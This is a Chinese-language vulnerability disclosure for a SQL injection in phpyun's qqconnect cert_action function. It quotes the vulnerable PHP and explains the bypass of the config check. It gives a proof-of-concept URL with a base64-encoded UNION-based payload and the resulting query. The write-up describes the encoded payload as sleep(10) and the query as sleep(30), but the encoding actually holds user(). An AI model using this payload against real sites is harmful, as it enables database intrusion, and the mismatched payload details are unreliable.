phpyun SQL注入

在/model/qqconnect.class.php文件中:
[php]
function cert_action(){

$id=$_GET['id'];

$arr=@explode("|",base64_decode($id));

if($id && is_array($arr) && $arr[0] && $arr[2]==$this->config['coding']){

$row=$this->obj->DB_select_once("company_cert","`uid`='".$arr[0]."' and `check2`='".$arr[1]."'");

if(is_array($row)){

if($row[status]!=1){

$value.="`cert`=concat(`cert`,',1'),";

}

$id=$this->obj->DB_update_all("company_cert","`status`='1'","`uid`='".$arr[0]."' and `check2`='".$arr[1]."'");

if($_GET['type']=="3"){

$value.="`email`='".$row['check']."'";

$id?$this->obj->DB_update_all("lt_info",$value,"`uid`='".$arr[0]."' "):"";

}else{

$value.="`linkmail`='".$row['check']."'";

$id?$this->obj->DB_update_all("company",$value,"`uid`='".$arr[0]."' "):"";

}

$id?$this->obj->ACT_msg($this->config['sy_weburl']."/member","认证成功"):$this->obj->ACT_msg($this->config['sy_weburl'],"认证失败,联系管理员认证");

}else{

$this->obj->ACT_msg($this->config['sy_weburl'],"认证失败,请检查来路","2");

}

}else{

$this->obj->ACT_msg($this->config['sy_weburl'],"非法操作!","2");

}

}

[/php]
代码从$_GET中获取id参数然后base64解码后按|分隔,其中第0个元素和第1个元素进入了SQL查询,但在此之前有个判断:
[php]
if($id && is_array($arr) && $arr[0] && $arr[2]==$this->config['coding']){
[/php]

这里$this->config['coding']默认为null,当我们只提交两个元素的数组时,$arr[2]也为null,因此$arr[2]==$this->config['coding'],条件成立进入判断所以注入发生:
[php]
if($id && is_array($arr) && $arr[0] && $arr[2]==$this->config['coding']){

$row=$this->obj->DB_select_once("company_cert","`uid`='".$arr[0]."' and `check2`='".$arr[1]."'");

[/php]
DB_select_once:
[php]
function DB_select_once($tablename, $where = 1, $select = "*") {

$cachename=$tablename.$where;

if(!$return=$this->Memcache_set($cachename)){

$SQL = "SELECT ".$select." FROM " . $this->def . $tablename . " WHERE ".$where." limit 1";

$query = $this->db->query($SQL);

$return=$this->db->fetch_array($query);

$this->Memcache_set($cachename,$return);

}

return $return;

}

[/php]
query函数:
[php]
public function query($sql) {

if ($sql == "") {

$this->show_error("SQL语句错误:", "SQL查询语句为空");

}

$this->sql = $sql;

$result = mysql_query($this->sql, $this->conn);

if (!$result) {

//调试中使用,sql语句出错时会自动打印出来

if ($this->show_error) {

$this->show_error("错误SQL语句:", $this->sql);

}

} else {

$this->result = $result;

}

if(1==1){

global $starttime;

$dbbug_error2[]="
";

$dbbug_error2[sql]=$this->sql."
";

$dbbug_error2["time"]=$this->getmicrotime()-$starttime."
";

//$dbbug_error2[]="
";

//print_r($dbbug_error2);//查看sql语句

$this->debug=$dbbug_error;

}

return $this->result;

}[/php]
漏洞证明:
提交
[php]
http://www.0day5.com/phpyun/index.php?M=qqconnect&C=cert&id=enR6JyBhbmQgMT0yIHVuaW9uIHNlbGVjdCB1c2VyKCksMiwzLDQsNSw2LDcsOCw5OyN8enR6
[/php]

id是ztz' and 1=2 union select sleep(10),2,3,4,5,6,7,8,9;#|ztz的base64编码

拼接的SQL语句为:
[php]
SELECT * FROM phpyun_company_cert WHERE `uid`='ztz' and 1=2 union select sleep(30),2,3,4,5,6,7,8,9;#' and `check2`='ztz' limit 1
[/php]

执行后sleep了30s

发表评论